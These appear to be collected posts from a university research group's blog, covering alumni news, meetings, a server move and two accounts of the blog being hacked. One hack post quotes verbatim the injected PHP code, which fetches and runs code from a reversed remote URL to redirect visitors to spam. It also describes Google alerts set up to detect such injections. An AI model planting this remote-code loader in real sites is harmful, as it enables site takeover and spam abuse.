It’s very nice to see ebiquity alumna Akshaya Iyengar (MS, 2011) helping Wikipedia during its fund raising campaign. If you visit Wikipedia you might see her gracing a page you get, as I did just a minutes ago. See this screenshot and read her statement on why she has been donating to Wikipedia here. Her generosity has inspired me to contribute also.

Here’s a word cloud that visualizes the 200 most significant words extracted from over 400 papers from our research group over the past ten years. Significance was estimated by tf-idf where the idf data is from a collection of newswire articles (thanks Paul!). The word cloud was created with Wordle.

We are generating short status messages for Ebiquity news and pushing them out to Twitter and Facebook. The messages generally have a shortened links connecting back to the full item, which might be a new paper, an event or a blog post. This will be a convenient way to track what is new on the Ebiquity site for many.

Now there are three easy ways to enjoy fresh Ebiquity news:

• Check out the Ebiquity twitter page and follow @ebiquity if you want to have our tweets show up in your stream.
• If Facebook is your thing, you can go to the UMBC Ebiquity Research Group page and click on the LIKE button to have the short Ebiquity updates show up on your wall.
• If you’re old school, you can also view our combined news stream on Planet Ebiquity and/or get it as an atom RSS feed for your favorite feed reader.

UMBC Computer Science alumnus Ralph Semmel (PhD. 1991) was just named as the next director of the Johns Hopkins University Applied Physics Laboratory. APL has a staff of 4,600 and an annual funding level of about $980 million. Dr. Semmel’s dissertation, A knowledge-based approach to automatic query formulation, developed novel techniques to disambiguate conceptual queries against a relational database. His dissertation research was supervised by his mentor, Computer Science Professor James Mayfield. We congratulate Ralph and wish him well in his new position.

Yesterday we discovered that our ebiquity blog had been hacked. It looks like a vulnerability in our old WordPress installation was exploited to add the following code to the top of our blog’s main page.

< ?php $site = create_function('','$cachedir="/tmp/"; $param="qq"; $key=$_GET[$param]; $rand="1239aef"; $said=23; $type=1; $stprot="http://blogwp.info"; '.file_get_contents(strrev("txt.mrahp/elpmaxe/deliated/ofni.pwgolb//:ptth"))); $site(); ?>

This code caused URLs like http://ebiquity.umbc.edu/?qq=1671 to redirect to a spam page. We’ve upgraded the blog to the latest WordPress release, which hopefully will prevent this exploit from being used again. (Notice the reversed URL — LOL!)

We discovered the problem though a clever trick I read about last year on a site I’ve forgotten (maybe here). We created several Google alerts triggered by the appearance of spam-related words on pages apparently hosted by ebiquity.umbc.edu. For example:

• adult OR girls OR sex OR sexx OR XXX OR porn OR pornography site:ebiquity.umbc.edu
• viagra OR cialis OR levitra OR Phentermine OR Xanax site:ebiquity.umbc.edu

I would get several false positives a month from these alerts triggered by non-spam entries on our site. In fact, *this* post will generate a false positive. But yesterday I got a true positive. Looking at the log files, I think I got the alert within a few hours of when our blog was hacked. So I am happy to say that this worked and worked well. Without this alert, it might have taken weeks to notice the problem.

The results of this Google search reveal many compromised blogs from the .edu domain.

We were happy to see recent UMBC alumnus Akshay Java’s work on Twitter is mentioned in an article, Utility in the Jumble of Tweets, in yesterday’s New York Times.

“Some developers are creating tools to help companies keep an eye on the buzz. Akshay Java, a scientist at Microsoft, is trying to figure out a way to identify which experts are most influential on given topics by automatically analyzing the content of their tweets and who is in their Twitter network. Companies like Microsoft could use that information to figure out which twitterers they should contact to create buzz about a new product.”

In this week’s ebiquity meeting (10:30am Tue Oct 14), PhD student Shenyong Zhang will present his recent work with Yun Peng on SMOOTY, a new efficient method for modifying a joint probability distribution to satisfy a set of inconsistent constraints. It extends the well-known “iterative proportional fitting procedure” (IPFP) which only works with consistent constraints. Compared to existing methods, SMOOTH is computationally more efficient and insensitive to data. Moreover, SMOOTH can be easily integrated with Bayesian networks for Bayesian reasoning with inconsistent constraints. A paper on this work, An Efficient Method for Probabilistic Knowledge Integration will apear in the proceedings of The 20th IEEE International Conference on Tools with Artificial Intelligence next month.

We plan to hold our weekly ebiquity meetings on Tuesday mornings, from 10:30 to 12:00 in ITE 325b starting on September 2. We’ve not yet received confirmation that the large conference room will be available, so it’s possible that the room will change or even the day. By meeting at 10:30am we hope that Dr. Joshi will be able to join us via the Internet while he is in India. When the time changes later in the Fall we may need to start the meeting at 10:00am.

Our meetings are open and we encourage new students who are interested in our research and joining the group to drop in. We usually ask someone to present something for each meeting — either their own work, an emerging topic or problem, or an interesting new paper. Our initial meeting will be more informal, but returning members should be prepared to describe how you spent your summer and new students to introduce themselves.

As usual, you should watch the ebiquity web site for announcements of the weekly events and/or subscribe to the UMBC ebiquity events feed.

If we do need to change to room or day of the week we will send out another message early in the coming week and make a new update this post on the ebiquity blog. But for now, please reserve Tuesdays from 10:00 to 12:00 for our weekly ebiquity meeting.

After several months of procrastination, we’re on a new server. Nicer, faster, hopefully more secure. Thanks to Filip, who helped make the transition painless!

I recently bought a GPS (Garmin Mobile 10) that works with my WM5 Smartphone. In the process of trying to install the Garmin Mobile XT application (which was very problematic and a huge pain, but I digress ….), I ended up uninstalling Google Maps.

When I went to download and reinstall it though, I noticed that they have a new beta feature (My Location) that shows you where you are. It can either use a GPS, or use cell tower information. Basically, it sees which cell tower your phone is signed up to (and what signals it is seeing from others), and uses this to estimate where you are to within a 1000 meters.

This is interesting, because we did it the same way back when there used to be AMPS / CDPD and Palm IIIs and Vs with cellular modems. Our project was called Agents2Go, and we published a paper about this in the MCommerce workshop of Mobicom in 01. I remember that Muthu et al from AT&T had a similar paper in MobiDE that year as well.

The problem at that time was that there was no publicly accessible database of all cell tower locations. Also, we heard informally from at least one telco that while doing this for research was Ok, if anyone ever tried to make money from it they would want to be a part of the loop. I guess Google has found a way to work with the various telcos ? Or maybe in the interim cell tower ids and locations have been made public knowledge ?

Of course Google maps also works with GPS, except that it refuses to work with my Garmin. I’ve tried all the tricks that a search on Google will reveal (mainly, setting the serial port used by Bluetooth to talk to the GPS) , but to no avail

Sigh….

At the end of last week we had a catastrophic failure that resulted in our losing most of our posts. We had a security problem where someone had managed to compromise one of our blog accounts with administrative privileges. Some of the files were modified. We noticed it right away and decided to restore the site files and database from our nightly dump.

However … it turned out that when we did a major WordPress update back in February 2006, we created a new database but failed to update our backup script. So, for the past 19 months, it’s been creating a nightly backup of the old database. Restoring the old database not only resulted in loosing 19 months worth of posts, but also left the database out of sync with the current WordPress version.

One of our former students (thanks Filip!) wrote a script to recover the old posts from Google’s cache and reinsert them into the database. it was a tour de force demonstration of quick programming skill. There are still some problems that we’ll need to attend to — we’ve lost all of the new categories that we’ve added since 2/2006, the ‘related posts’ plugin is no longer working, I think the feed links aren’t all right, etc. But we recovered the posts.

We’ve tightened up our security but continue to see lots of malicious visitors knocking on the door and checking the locks.

It’s a jungle out there.

The ebiquity Matrix servers (neo, trinity, morpheus, logos, niobe, link) were successfully moved from the cybersecurity lab to one of the OIT machine room. It turned out to be quite a bit of work to get the computers into our rack. We had custom rack mounting kits, but they required that many of the components in each computer be moved within its chassis. We still need to get some parts to get Logos in, since it’s a slightly different model. Many thanks to everyone who helped: Geoff, Brendan, Anand, Akshay, Pranam, Li, Andrej, Nimish, Sheetal and Lushan. We’ve uploaded some pictures from the tail end of the move to the ebiquity flickr site. Add comments and notes if you have a flickr account.